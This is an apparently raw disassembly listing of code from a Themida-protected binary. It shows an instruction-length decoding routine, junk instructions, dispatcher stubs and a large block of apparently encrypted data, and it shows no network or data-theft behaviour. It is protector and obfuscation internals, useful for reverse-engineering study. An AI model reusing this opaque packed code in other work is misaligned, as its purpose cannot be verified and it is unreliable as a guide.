dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0)
dd 300h, 14h dup(0)
dd 8C200h, 80757366h, 0FEh, 11h dup(0)
dd 353E900h, 0E8550000h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 7FFBB73h
pusha
mov dword ptr [ebp+7FFBAC0h], 0
cmp word ptr [esi], 0A166h
jnz loc_5DEFE0
mov dword ptr [ebp+7FFBAC4h], 6
jmp loc_5DF004
; ---------------------------------------------------------------------------
loc_5DEFE0: ; CODE XREF: Themida_:005DEFCBj
lea eax, [ebp+7FFBAC8h]
push eax
lea eax, [ebp+7FFBB18h]
push eax
push esi
push 0
call sub_5DF013
add esp, 10h
and eax, 0FFh
mov [ebp+7FFBAC4h], eax
loc_5DF004: ; CODE XREF: Themida_:005DEFDBj
popa
add esi, [ebp+7FFBAC4h]
mov eax, [ebp+7FFBAC0h]
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5DF013 proc near ; CODE XREF: Themida_:005DEFF1p
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_7FFBAB8 = dword ptr 7FFBAC0h
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_5], 0
and [ebp+var_6], 0
xor dl, dl
and [ebp+var_1], dl
cmp [ebp+arg_0], 0
jz loc_5DF040
mov [ebp+var_4], 2
mov [ebp+var_3], 0FEh
mov [ebp+var_2], 1
jmp loc_5DF04C
; ---------------------------------------------------------------------------
loc_5DF040: ; CODE XREF: sub_5DF013+16j
and [ebp+var_3], 0
and [ebp+var_2], 0
mov [ebp+var_4], 4
loc_5DF04C: ; CODE XREF: sub_5DF013+28j
push ebx
push esi
push edi
loc_5DF04F: ; CODE XREF: sub_5DF013+91j
; sub_5DF013+ADj ...
mov edi, [ebp+arg_4]
mov esi, [ebp+arg_8]
movzx ecx, dl
inc dl
mov al, [edi+ecx]
mov [esi+ecx], al
xor cl, cl
loc_5DF062: ; CODE XREF: sub_5DF013+76j
movzx ebx, cl
push ebp
call $+5
pop ebp
sub ebp, 7FFBC2Ah
lea ebp, [ebp+7FFBAA0h]
add ebp, ebx
cmp [ebp+0], al
pop ebp
jz loc_5DF08F
inc cl
cmp cl, 0Bh
jb loc_5DF062
loc_5DF08F: ; CODE XREF: sub_5DF013+6Bj
cmp cl, 0Bh
jz loc_5DF0EC
cmp al, 66h
jnz loc_5DF0CD
cmp [ebp+var_5], 0
jnz loc_5DF04F
cmp [ebp+var_3], 0
mov [ebp+var_5], 1
jnz loc_5DF0C5
mov [ebp+var_4], 2
mov [ebp+var_3], 0FEh
jmp loc_5DF04F
; ---------------------------------------------------------------------------
loc_5DF0C5: ; CODE XREF: sub_5DF013+9Fj
and [ebp+var_3], 0
mov [ebp+var_4], 4
loc_5DF0CD: ; CODE XREF: sub_5DF013+87j
cmp al, 67h
jnz loc_5DF04F
cmp [ebp+var_6], 0
jnz loc_5DF04F
xor [ebp+var_2], 1
mov [ebp+var_6], 1
jmp loc_5DF04F
; ---------------------------------------------------------------------------
loc_5DF0EC: ; CODE XREF: sub_5DF013+7Fj
mov ebx, [ebp+arg_C]
mov cl, dl
dec cl
cmp al, 0Fh
mov [ebx], cl
jnz loc_5DF118
movzx ecx, dl
inc dl
mov al, [edi+ecx]
movzx edi, al
shr edi, 1
mov [esi+ecx], al
add edi, 80h
jmp loc_5DF11D
; ---------------------------------------------------------------------------
loc_5DF118: ; CODE XREF: sub_5DF013+E4j
movzx edi, al
shr edi, 1
loc_5DF11D: ; CODE XREF: sub_5DF013+100j
push ebp
call $+5
pop ebp
sub ebp, 7FFBCE2h
lea ebp, [ebp+7FFB9A0h]
add ebp, edi
mov bl, [ebp+0]
pop ebp
mov cl, al
and cl, 1
mov [ebp+var_7], cl
shl cl, 2
shr bl, cl
test bl, 8
mov [ebp+var_6], bl
jz loc_5DF29F
mov ebx, [ebp+arg_4]
mov byte ptr [ebp+arg_0+3], 1
movzx ecx, dl
inc dl
mov bl, [ebx+ecx]
mov byte ptr [ebp+arg_C+3], dl
mov dl, bl
mov [esi+ecx], bl
and dl, 7
movzx ecx, bl
cmp dl, 4
setz [ebp+var_5]
shr ecx, 6
sub ecx, 0
jz loc_5DF1E3
dec ecx
jz loc_5DF1C6
dec ecx
jnz loc_5DF236
cmp [ebp+var_2], 0
jnz loc_5DF232
cmp [ebp+var_5], 0
jz loc_5DF1A5
mov byte ptr [ebp+arg_0+3], 2
loc_5DF1A5: ; CODE XREF: sub_5DF013+188j
add byte ptr [ebp+arg_0+3], 4
push ebp
call $+5
pop ebp
sub ebp, 7FFBD6Eh
mov [ebp+arg_7FFBAB8], 1
pop ebp
jmp loc_5DF236
; ---------------------------------------------------------------------------
loc_5DF1C6: ; CODE XREF: sub_5DF013+16Dj
cmp [ebp+var_2], 0
jnz loc_5DF210
cmp [ebp+var_5], 0
jz loc_5DF210
mov byte ptr [ebp+arg_0+3], 2
jmp loc_5DF210
; ---------------------------------------------------------------------------
loc_5DF1E3: ; CODE XREF: sub_5DF013+166j
cmp [ebp+var_2], 0
jnz loc_5DF229
cmp [ebp+var_5], 0
jz loc_5DF218
movzx ecx, byte ptr [ebp+arg_C+3]
mov edx, [ebp+arg_4]
mov cl, [edx+ecx]
and cl, 7
cmp cl, 5
jnz loc_5DF210
mov byte ptr [ebp+arg_0+3], cl
loc_5DF210: ; CODE XREF: sub_5DF013+1B7j
; sub_5DF013+1C1j ...
inc byte ptr [ebp+arg_0+3]
jmp loc_5DF236
; ---------------------------------------------------------------------------
loc_5DF218: ; CODE XREF: sub_5DF013+1DEj
cmp dl, 5
jnz loc_5DF236
mov byte ptr [ebp+arg_0+3], dl
jmp loc_5DF236
; ---------------------------------------------------------------------------
loc_5DF229: ; CODE XREF: sub_5DF013+1D4j
cmp dl, 6
jnz loc_5DF236
loc_5DF232: ; CODE XREF: sub_5DF013+17Ej
mov byte ptr [ebp+arg_0+3], 3
loc_5DF236: ; CODE XREF: sub_5DF013+174j
; sub_5DF013+1AEj ...
dec byte ptr [ebp+arg_0+3]
jz loc_5DF264
movzx ecx, byte ptr [ebp+arg_0+3]
mov [ebp+arg_0], ecx
loc_5DF246: ; CODE XREF: sub_5DF013+249j
movzx esi, byte ptr [ebp+arg_C+3]
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_8]
inc byte ptr [ebp+arg_C+3]
dec [ebp+arg_0]
mov cl, [ecx+esi]
mov [edx+esi], cl
jnz loc_5DF246
mov esi, edx
loc_5DF264: ; CODE XREF: sub_5DF013+226j
and al, 0FEh
cmp al, 0F6h
jnz loc_5DF299
cmp edi, 7Fh
ja loc_5DF299
test bl, 38h
jnz loc_5DF299
cmp [ebp+var_7], 0
jz loc_5DF293
movzx eax, [ebp+var_4]
jmp loc_5DF296
; ---------------------------------------------------------------------------
loc_5DF293: ; CODE XREF: sub_5DF013+271j
push 1
pop eax
loc_5DF296: ; CODE XREF: sub_5DF013+27Bj
mov [ebp+var_1], al
loc_5DF299: ; CODE XREF: sub_5DF013+255j
; sub_5DF013+25Ej ...
mov dl, byte ptr [ebp+arg_C+3]
mov bl, [ebp+var_6]
loc_5DF29F: ; CODE XREF: sub_5DF013+136j
mov al, bl
and eax, 7
sub eax, 4
jz loc_5DF2CA
dec eax
dec eax
jz loc_5DF2C0
and bl, 7
add [ebp+var_1], bl
jmp loc_5DF2D2
; ---------------------------------------------------------------------------
loc_5DF2C0: ; CODE XREF: sub_5DF013+29Cj
mov al, [ebp+var_3]
add al, 6
jmp loc_5DF2CF
; ---------------------------------------------------------------------------
loc_5DF2CA: ; CODE XREF: sub_5DF013+294j
mov al, [ebp+var_3]
add al, 4
loc_5DF2CF: ; CODE XREF: sub_5DF013+2B2j
add [ebp+var_1], al
loc_5DF2D2: ; CODE XREF: sub_5DF013+2A8j
mov al, [ebp+var_1]
dec [ebp+var_1]
test al, al
jz loc_5DF2FA
movzx ecx, [ebp+var_1]
inc ecx
loc_5DF2E5: ; CODE XREF: sub_5DF013+2E1j
mov edi, [ebp+arg_4]
movzx eax, dl
inc dl
dec ecx
mov bl, [edi+eax]
mov [esi+eax], bl
jnz loc_5DF2E5
loc_5DF2FA: ; CODE XREF: sub_5DF013+2C7j
pop edi
pop esi
mov al, dl
pop ebx
leave
retn
sub_5DF013 endp
; ---------------------------------------------------------------------------
lea eax, [ebp+7FFBB6Dh]
mov [ebp+7FA3101h], eax
jmp loc_5DF47D
; ---------------------------------------------------------------------------
dw 7E51h
; ---------------------------------------------------------------------------
jnb short near ptr byte_5DF35F
add [eax-7], ch
xchg ebp, esp
dec esp
add eax, 0D8588F4Fh
loc_5DF321: ; CODE XREF: Themida_:005DF32Fj
or [esi+edx*2], ah
rcl dword ptr [ecx+77h], cl
push esi
ror byte ptr [eax], 1
push esp
pop eax
fist dword ptr [ecx+7Ch]
jno short loc_5DF321
cmp [edi+24h], bh
mov ds:5970F451h, al
rcl dword ptr [edx], cl
les ebx, [ebp-61h]
mov ds:9050E5B6h, eax
adc al, 94h
push ecx
sub [ecx], al
; ---------------------------------------------------------------------------
dd 0
dd 40000h, 2 dup(0)
dd 330000h
db 3 dup(0)
byte_5DF35F db 0 ; CODE XREF: Themida_:005DF314j
dd 80000h, 0
dd 79530000h, 6D657473h, 72502000h, 7365636Fh, 5D73h, 40h dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5DF47D: ; CODE XREF: Themida_:005DF30Dj
jmp loc_5E0AD3
; ---------------------------------------------------------------------------
push 7FFC205h
jmp loc_59895C
; ---------------------------------------------------------------------------
push 7FFC2EAh
jmp loc_59895C
; ---------------------------------------------------------------------------
push 7FFC3CCh
jmp loc_59895C
; ---------------------------------------------------------------------------
push 7FFC491h
jmp loc_59895C
; ---------------------------------------------------------------------------
push 7FFC636h
jmp loc_59895C
; ---------------------------------------------------------------------------
push 7FFC7BFh
jmp loc_59895C
; ---------------------------------------------------------------------------
push 7FFC8A2h
jmp loc_59895C
; ---------------------------------------------------------------------------
push 7FFC97Fh
jmp loc_59895C
; ---------------------------------------------------------------------------
push 7FFCB87h
jmp loc_59895C
; ---------------------------------------------------------------------------
push 7FFCC88h
jmp loc_59895C
; ---------------------------------------------------------------------------
push 7FFCD35h
jmp loc_59895C
; ---------------------------------------------------------------------------
push 7FFCDCBh
jmp loc_59895C
; ---------------------------------------------------------------------------
push 7FFCF12h
jmp loc_59895C
; ---------------------------------------------------------------------------
push 7FFD447h
jmp loc_59895C
; ---------------------------------------------------------------------------
push 7FFD557h
jmp loc_59895C
; ---------------------------------------------------------------------------
dd 73FAB344h, 0FE853CCCh, 8D14AB57h, 169D10E6h, 0A42B926Fh
dd 8C79190Ah, 0F407AE35h, 79933AC1h, 0E920C74Eh, 0AB1A51D8h
dd 0E1D7712Eh, 2198D1EFh, 9AC0BE78h, 0F4C0EC2h, 259C6DE3h
dd 0A312EB8Ah, 0F406ED6Ch, 16CF8CC1h, 0E42FE7E2h, 63FEB545h
dd 0A51CDB18h, 74F12865h, 0EF7C316Eh, 0C5FA95E0h, 0EFDC410Ch
dd 0FB962FDEh, 7914AD5Ch, 0E455207Bh, 77CA9500h, 0D0AA13CCh
dd 3205h, 5D9DE100h, 3A6CE920h, 0A4EF7C1Fh, 0D089BE59h
dd 5DEFDC2Eh, 79CA27F2h, 58D0AA25h, 0D5h, 38F572F1h, 98EFDC23h
dd 2327E461h, 3C87EFDCh, 6D88B4F1h, 0EB8A259Ch, 6D0CA71Eh
dd 0EB8A259Ch, 0DD1CA312h, 4CBEE034h, 0CB08E216h, 0E2375E5Eh
dd 0A6CB42E7h, 7BC66154h, 0B02A930h, 9A645EA4h, 94DFC3AFh
dd 0F7428AF9h, 2162CEF6h, 9BD21D0Dh, 7CE51C1Eh, 0B43B86EFh
dd 89C0FD3Dh, 71472F0Ch, 4D84CFF7h, 15D24FCEh, 75F7D9C7h
dd 35BAC92Ah, 310CDD3Eh, 0D9E01DF4h, 0E9A623A2h, 49F7D983h
dd 5B02C1FEh, 0FAD917AEh, 2E2F17ACh, 13D62063h, 9D720000h
dd 2FAA128h, 79852CB3h, 0E214BB42h, 609D44CBh, 2B38D259h
dd 0DC635AA7h, 68EFC635h, 0F57C4BC1h, 7F06BF4Eh, 9F5CD948h
dd 0FFEFE1D8h, 906D92C6h, 2FBA229h, 6EED2CB3h, 0E21734F1h
dd 0C4994E7h, 205D9DE0h, 1F3A6CE9h, 59A4EF7Ch, 2ED089BEh
dd 0F25DEFDCh, 2579CA27h, 0C458D0AAh, 34000000h, 8A259C6Dh
dd 0CA71EEBh, 0A518EED5h, 0E920BF0Ah, 2E2E9BD8h, 12E7E21Ch
dd 0AC93CAFBh, 83CE6950h, 6A118E4h, 18BF7EBBh, 9EA7BAE1h
dd 0F1FEBF11h, 0EDD40BA6h, 0C56CA910h, 94114885h, 0EF7D3692h
dd 0EB2AB1FCh, 24BFF604h, 0B5F59CD9h, 1CC44178h, 76F77184h
dd 0F675F42Bh, 0DA15BC79h, 4D6096F7h, 34E67B2h, 5712EFC6h
dd 0EAA724A7h, 4AF7DA15h, 0E269B4FFh, 0B9F7CE3Bh, 2F173E10h
dd 0F1F63904h, 57000012h, 0DF860DA0h, 6A11982Fh, 0F9A0279Eh
dd 8229B007h, 1DB73E87h, 48718C36h, 0D4E11AC1h, 6154A64Dh
dd 0EBDA33DAh, 41BE2D64h, 0EFE1D984h, 6D77ABE4h, 0FBA22990h
dd 0ED2CB302h, 28C3FA06h, 6D74A0DDh, 0EB8A259Ch, 751CA312h
dd 0F8973289h, 0D29B001h, 5F9CDCF5h, 1D0DAB28h, 1291EF7Ch
dd 0DC1CD895h, 679938EFh, 1F6AB550h, 154691E2h, 843BC7AEh
dd 2B34AE9h, 530D7AB7h, 57E7664Ch, 0B471EE17h, 14E7664Dh
dd 0E03278B3h, 0AEF99D01h, 1DAF2C63h, 0A9EF0116h, 0E17C49C2h
dd 0BD085996h, 0E26BB322h, 0EFE9D28h, 86D11CB7h, 0B7DCD24Fh
dd 4930F6F6h, 1AA102B1h, 43445E8Ah, 0CB2C7DBAh, 941AF7DEh
dd 98CF1A8Bh, 0E26958B1h, 0EAA724A3h, 4AF75E8Ah, 12EBC2FFh
dd 0B55A65A3h, 0DBA62F9Ch, 120F98h, 0EFC63900h, 7A49C168h
dd 9B04CF3h, 9225DB82h, 2099640Bh, 6E14FF99h, 0FCA32A93h
dd 882FB60Fh, 15BC4372h, 0F46CDE4h, 0DA6623A0h, 8DC6EFE1h
dd 259C6D59h, 9ED31B8Ah, 240CEA67h, 4DAEEF7Ch, 51ACB60Eh
dd 2182CD68h, 3E897E37h, 0C8F910B7h, 6154AA91h, 9AE25124h
dd 0A3B12E65h, 45F77444h, 2DDCC3FAh, 97660D94h, 0D414831Eh
dd 0F5E36097h, 57FF7403h, 1FEED50Ch, 81781FA6h, 0FC972EDCh
dd 4870D09Bh, 0D01B84F3h, 91674E85h, 0FB38831Eh, 5071B928h
dd 0DBB016D3h, 26E32EFFh, 5CE9AA3Dh, 76ADF843h, 0CBFA10F7h
dd 0BF7CF930h, 1FFFDB2Ch, 0DF4C89D4h, 7754421h, 0C7FA3883h
dd 313F13FEh, 114A2366h, 9FE0000h, 76862DB4h, 0F511B83Fh
dd 6EA047CEh, 0DC29D057h, 0DFC45EE5h, 68EFD633h, 0F47B4AC1h
dd 8108BF4Dh, 0B9223DAh, 2BE865D4h, 8BEFE1DBh, 906D1E52h
dd 0F20BF229h, 0A0DD28C3h, 0ED226AE1h, 0BA5037B6h, 0A761CE0Bh
dd 0E3EF7C22h, 332AE764h, 3F8AEFDCh, 2F66B102h, 6702B348h
dd 0D50CDF1Ch, 10AB12EEh, 874164C5h, 9B2C35ABh, 3F76875Eh
dd 0C9F811B8h, 427FBF2Eh, 55A58C0Bh, 0C6B4215Eh, 28F7767Fh
dd 0CAE542DDh, 0EEC736FFh, 0CB412867h, 0D018BFFCh, 2DE7649Bh
dd 87FF709Eh, 0B02A13Ch, 77921FBAh, 9CD119ACh, 313DE665h
dd 299C6F45h, 1DE2438Eh, 47B4F176h, 76AAB8Dh, 31C9B0E7h
dd 679CE782h, 7CABAAAh, 3D74BF0Ah, 0D613AA56h, 28997017h
dd 38F572F1h, 9807CABBh, 0BB27E461h, 3C8707CAh, 0ACE1B4F1h
dd 7CACAF3h, 0E47F36C5h, 5FFEB545h, 7E47C2A9h, 0E4619833h
dd 7CACB27h, 95B03C87h, 6615FCAh, 0DE837A3Bh, 0FEC54128h
dd 82CD18B3h, 0B8A554FBh, 89246F46h, 669DD21Ah, 64ED8BE9h
dd 5BE22D0Fh, 0A11E9D1Ch, 0FC4EDE4h, 7C4F944h, 670FC4EEh
dd 39807D1Ch, 0CA16539Eh, 3976B68Fh, 9C6F8502h, 0EA21175Ch
dd 0C4ACB06Dh, 7AC51017h, 0EFBE249h, 94D11CB7h, 0DE7940BDh
dd 0C4ACF0A9h, 18812A17h, 0EE2D5C55h, 0F139E01Dh, 6C9E85BCh
dd 2733F06Dh, 489317C4h, 0D451C0FDh, 1F5BD5DEh, 0E7CE0550h
dd 0D9189F16h, 1CD1B830h, 0E11ED5ACh, 27C2F30Ah, 6447D88h
dd 1701E985h, 0A5256833h, 0A300000Fh, 2BD2596Ch, 0B65DE4D3h
dd 45EC734Ah, 0CE75FCB3h, 69038A33h, 942DD87Ah, 2095660Dh
dd 0AD18F299h, 378E7F26h, 8D0A79B0h, 0EFE1DCD0h, 6DC3F730h
dd 0FBA22990h, 0CC179D02h, 0E443007Dh, 58A3E7E2h, 9ED4A8F7h
dd 0E019B853h, 9E1B9AD1h, 0E7E2FCE1h, 42BFF641h, 0E7E2FD85h
dd 8A5D9AE5h, 9F66318Ch, 95D0576Eh, 0D750DBAEh, 1BE23h
dd 7A13BC00h, 8E4BC8FDh, 0EEE7E217h, 11BE42A3h, 6DE71350h
dd 0EB8A259Ch, 0A51CA312h, 74F12865h, 0EF7C316Eh, 0C5FA95E0h
dd 0EFDC410Ch, 7F711A99h, 0CB8805BAh, 2BEFDCD2h, 5C177FE0h
dd 6D12C69h, 0AAA498ABh, 359A43D0h, 0C3D563C4h, 4A75EE2Bh
dd 0E000000h, 2355128Fh, 6AB5EFDCh, 5D9D012Dh, 3A6CE920h
dd 86EF7C1Fh, 0BC576E9Fh, 82E33471h, 7D0BC1EDh, 0DF5C9379h
dd 0EFDC9122h, 51EC3782h, 0DC91631Ch, 0BA85F0EFh, 0AA47DC67h
dd 0D1F5D0h, 0A78E0000h, 2AC9645Bh, 5E9BE6DFh, 0D956D532h
dd 0E7E2171Ch, 1DF4317Ch, 9B3AD5ECh, 1DBC576Eh, 388F81ECh
dd 6C07529Dh, 0C16F3CCDh, 4E452104h, 0A6E56CB7h, 40774EBFh
dd 0E26606C3h, 0DE1B66E7h, 0E26A7171h, 0DA455E7h, 0AB12EFD6h
dd 0F038AF6Eh, 0DD0784BBh, 19EF76B7h, 88E9DC32h, 0EE91F267h
dd 92E32029h, 7B671047h, 0AD0BB701h, 0EAD1407Dh, 781FA61Fh
dd 9C25E08Dh, 1DA86201h, 0A1EC3782h, 1D134263h, 78BB8627h
dd 0E1Ch, 5BE2DB2Ch, 0E66D44B4h, 75FCC33Fh, 0FE8538CEh
dd 8C13AA57h, 0A461E1F2h, 1CEF961Dh, 817B22A9h, 0F108AF36h
dd 930239C0h, 0E1DE5916h, 4C80B9EFh, 0F229906Dh, 0A2295649h
dd 81BE6440h, 0D3E21BC2h, 7047B59Ch, 0D5787433h, 603E042Ch
dd 0DB18C626h, 21BCF504h, 0B33A8B82h, 0DDAEFD0Ch, 0DEBE3BEDh
dd 6DC40B1Ah, 4C97D2A5h, 27E3CA01h, 99B45F8Ah, 327D9233h
dd 6BB322F5h, 9980FF36h, 6CB75261h, 0F22CC22Fh, 3FDEEF7Ch
dd 0CE99FACDh, 0B212ABEh, 9CDB62ADh, 0D26D44B5h, 0A110E887h
dd 749E964h, 6DC50000h, 598E2990h, 0E7E216A0h, 35D15AA2h
dd 630C438Eh, 0E98441A4h, 6DDC19B0h, 79F7D2F0h, 0F22974EFh
dd 9C6FF20Bh, 0F18C23D5h, 89105BA6h, 0FF9A2BE2h, 0DE1CA560h
dd 271F30C9h, 39E92CF7h, 0F00000Dh, 973EC5F8h, 22C95067h
dd 0B158DFE6h, 3AE1685Fh, 0D56FF6CFh, 0B944CEh, 8C39D279h
dd 19AC5E05h, 0A312EB92h, 0F976E51Ch, 0EFE1DF3Ch, 6D2F639Ch
dd 3C03D90h
dd 45E7E217h, 0E2170BC8h, 7206BE7h, 43EA71BCh, 0C160FBCAh
dd 3E9B6348h, 0F0911E5Fh, 9F6B0AA5h, 1EEE8D28h, 647F0CA7h
dd 0AC74499h, 6AE7E306h, 7BD6D41Fh, 9D14E5B0h, 3A8D7F66h
dd 0EC1F3E9Fh, 2593EBD9h, 9FDE9DDAh, 367342B8h, 506E78CBh
dd 1459D7h, 0D5350000h, 10AB12EEh, 0D1B88C5h, 7DE7E212h
dd 0FFFD763Ah, 1ED716FFh, 20E7E217h, 0EF6CA3D8h, 0EF79C5C9h
dd 942DDC7Bh, 0D22B1249h, 0EBCB0FCDh, 0A8EC350Ch, 7E298491h
dd 3CC30E59h, 0B24D6495h, 837BF613h, 34E9934h, 1FBF28C5h
dd 0C609D427h, 0C5Ch, 1BA21BECh, 0A62D8474h, 35BC03FFh
dd 0BE45788Eh, 4CD3EA17h, 0E421A1B2h, 5CAF56DDh, 0C13BE269h
dd 31C86FF6h, 53C2F980h, 0E1E019D6h, 0C4079EFh, 66E02CD5h
dd 0C523353Ch, 1558B188h, 0E631CCE3h, 0A861009Bh, 0E663E219h
dd 0E7E2C429h, 0A61FEA89h, 3875C00Bh, 7E37C665h, 12B744E3h
dd 0E2C3D895h, 0A2ED38E7h, 95607B07h, 38B72624h, 6F0AB951h
dd 0C432EF24h, 4792E7E2h, 21E4AF0Ah, 1752D9E8h, 0D750902Ch
dd 0A8B06AFh, 0AAF458E5h, 0DF46Dh, 0D7D00000h, 0E7E211C9h
dd 0FC99F639h, 9DD2FFFFh, 2E9205Dh, 0D924BF06h, 8AB02D9Ch
dd 3CEF7C48h, 5005A8DBh, 7CC70C57h, 0E4F2ACE1h, 1681EFDCh
dd 0F00BF24Bh, 0A2DF2AC5h, 0AAF70C37h, 1A7C5D0h, 0D7A10000h
dd 0E7E2170Eh, 81781F74h, 0B02A930h, 49EA1FBAh, 0ADE7E217h
dd 0E956FF7Eh, 4B320761h, 0A1621F54h, 77C2E7E2h, 0B914DF3Ah
dd 528F36D2h, 29DF827Bh, 2D144B96h, 0B54BEAD1h, 0DF1C6702h
dd 0FFAE120h, 8DD279B6h, 0E31AB954h, 55A44BD2h, 38CC15Ch
dd 0D0E7E2A1h, 24916A51h, 0A6013E89h, 0B3BD86DBh, 3E14D750h
dd 0F0000001h, 8A259C6Dh, 6CA312EBh, 0AA9B4EC3h, 0E21F28AFh
dd 2F6CAC23h, 7F757BF8h, 9CE7EF7Ch, 2BE3CA01h, 0A662019Ch
dd 2A97D41Fh, 0EFDC8F71h, 69C893FEh, 0D0AA41DAh, 3DF7h
dd 5D9DD300h, 0ED8831CCh, 0A32057A2h, 0EF7C1F71h, 0BEF590DBh
dd 0C83E25D7h, 0AE0FAAF5h, 2DB3C955h, 0F758A32Eh, 706E6482h
dd 3CA9E6A0h, 0EFDC6D83h, 87DAA510h, 0D0AA6BBCh, 0BA15h
dd 9C6DF100h, 1EEB8A25h, 9C6D0CA7h, 1D45EE25h, 0DC79D9E6h
dd 348D4AC7h, 0A2EDE7E2h, 744DB857h, 34C56437h, 51B9F67Dh
dd 8DE7E23Ch, 0FE0B56A6h, 96E12CC7h, 3A8B8259h, 0BFFC3CB3h
dd 99E10B88h, 0F03BEF76h, 8E37D2B9h, 1CA56007h, 1DD525DEh
dd 0D518E327h, 0A54h, 23AA03F4h, 0AE358C7Ch, 3DC4FB07h
dd 0C64D6096h, 54DBE21Fh, 0DC29A9BAh, 44B75EE5h, 0C943EA71h
dd 39D077FEh, 5BCA0188h, 0E1E221DEh, 144881EFh, 1CD956D5h
dd 7CE7E217h, 0FF9A21DDh, 1D0869B4h, 121F57C3h, 0FDD411h
dd 0CF332B9h, 0E12CC7FEh, 313CCDA4h, 679EE9D8h, 0AAAE6BE8h
dd 0C30EE7E2h, 6DCBC786h, 0EB8A259Ch, 0D11CA312h, 3B3h
dd 23FCF8ADh, 0F26FA6DBh, 0EF79C5DFh, 0AC13448Fh, 0E37E35C5h
dd 74B45B98h, 0E6328221h, 24DE9F9h, 2204ECBh, 0E382F77Ch
dd 0B8539E29h, 566F9A81h, 3AD170BBh, 68A5F08Bh, 0DC1442FBh
dd 9964CFF7h, 0A9C4FB48h, 32FD6D8h, 0D5B20000h, 3AB1AD56h
dd 0BB76490Dh, 0E29DC986h, 3FDE29E7h, 115CF7CEh, 9DAE67D4h
dd 26EAE7E2h, 7AE7E29Eh, 3FB7693h, 83CE69B4h, 225F9F46h
dd 76856CEBh, 6F95023Fh, 21EF7CA0h, 4AE198D6h, 0C893271Ah
dd 95385h, 0AB02F500h, 368D7D24h, 0C5FC08AFh, 4E61973Eh
dd 0DCE520C7h, 2AA8BB55h, 0B85FE6DFh, 44EB7243h, 0D178FFB6h
dd 0CB028938h, 0E322DF5Ch, 4982EFE1h, 259C6D15h, 9E6C538Ah
dd 0FB43EA27h, 56A88FC6h, 3C79C45Fh, 2BA54ECDh, 7A4387BCh
dd 611B88C5h, 0BBEF7A48h, 2A72E970h, 25D7BEF5h, 6FACF792h
dd 6E9A8100h, 885BC57h, 0EFE25A4Bh, 0D81560ABh, 7A06AD6Bh
dd 9E700FF7h, 0E22B8611h, 125D1CE1h, 52A990C7h, 0BE9FDC63h
dd 10F7E277h, 620990CDh, 0E2811CA9h, 90FF9A2Bh, 5FDC1348h
dd 0FF7C769Dh, 0B17EBC07h, 6F371AB2h, 8A661A4h, 6DA20000h
dd 0D22AD158h, 49B55CE3h, 0B244EB72h, 30CD74FBh, 7B680289h
dd 0C932AD7h, 981F9665h, 25AC1BF1h, 0AF368F7Eh, 0CF8C0978h
dd 2FEFE1E3h, 5D9DC2F6h, 0EB863FCCh, 0A11E55A0h, 0EF79C3E3h
dd 6E2BA827h, 0CEEFE1D6h, 9EE9DC2Fh, 8EC51061h, 0D5D5920Fh
dd 0EA35EFE1h, 0A4573EADh, 28E38A11h, 4B93029Dh, 0E160DF16h
dd 0E1D5A764h, 7FBC07EFh, 79835812h, 0CC67B2F7h, 6CC0EC95h
dd 0F3FE831Ch, 92CF0FB6h, 39E0DE5Bh, 0F742FF7Ch, 1AE5F4B9h
dd 92D5A037h, 810h, 67EEC738h, 0F27948C0h, 8108BF4Bh, 0A9124DAh
dd 981FA663h, 906D15FEh, 0FBA229h, 75872EB5h, 0E514BB42h
dd 9F0E45CCh, 0E1E46522h, 588CC5EFh, 0EE259C6Dh, 83C0F707h
dd 0C9F811B0h, 0AD5302Eh, 7C03B24Bh, 5039F241h, 1CF2D9D7h
dd 86C30EA9h, 1500Dh, 5D9DE900h, 7E6CE920h, 0C2EF7C17h
dd 0B38021DBh, 69CB5E1h, 3586C30Eh, 44F6696h, 0DF7B3469h
dd 9D08EFDCh, 0F1B47FD2h, 220DD0AAh, 0E9000001h, 8A259C6Dh
dd 0D0E8AA53h, 82F28850h, 269F6E45h, 0ABE0289Fh, 24F1F774h
dd 1863EF7Dh, 358F487Dh, 0B11CEFDDh, 27B88BE6h, 3119D0ABh
dd 0F5000000h, 0A71EEED5h, 0DD84C10Ch, 0AA29609Dh, 0E217702Dh
dd 4885D0E7h, 1F2A5CD9h, 4994EF7Ch, 2EC079AEh, 0E24DEFDCh
dd 2589BA17h, 0A648D0AAh, 24000000h, 0EE259C6Dh, 1057E445h
dd 0BAF72C87h, 4BD48E7h, 52CF4ECDh, 0E7E2E895h, 0B875AAF5h
dd 0FAE7E2E8h, 0E2E8C07Dh, 0BCD520E7h, 0C2613471h, 0DDD0264Bh
dd 0A158F792h, 7C4C8910h, 8E7E2F5h, 0A1DEE521h, 0FB8233CAh
dd 0D0074484h, 77542953h, 13883EFh, 4FD6EF1Ah, 26645DA8h
dd 271D0F75h, 0C9F53803h, 7F000006h, 7AE3588h, 9239C0F7h
dd 21C84F76h, 0AA51D8EFh, 45DF665Fh, 7049B45Eh, 0FCC942E9h
dd 893CCE75h, 13A25B02h, 69E6558Ch, 0EFE1E5ACh, 6D9FD30Ch
dd 49F22990h, 9A5BAC9Fh, 985794EFh, 22A918F1h, 13EED526h
dd 8F436594h, 0B702E18Ch, 0BD94D11Ch, 3BDA754Ch, 216CF3C2h
dd 3Bh, 2ABBF8FDh, 0CD46A981h, 94D1A15Fh, 3970ADEDh, 9037D3BAh
dd 0F6D2E653h, 3984EF79h, 4DF6C408h, 1C99D00Dh, 0F779B463h
dd 0CC3F70BBh, 5Dh, 0AC69E665h, 0CF7E1C5h, 9D5884C1h, 873ECC5Dh
dd 49F16E8h, 0BA376EB9h, 0EF7C395Ch, 0E118B3FEh, 76B302FAh
dd 7397F509h, 390427DFh, 0F82F6CACh, 69BB894Fh, 3E9F6EADh
dd 0CD0659EAh, 950441A6h, 7660BA18h, 0A1573EF7h, 3580D10Eh
dd 0D3EA17FEh, 0B198D796h, 0B6316E55h, 0AEh, 205D9D92h
dd 0C5566CE9h, 0BD08EF79h, 60BC65CCh, 5A7D7C1Dh, 0AA13EE8Dh
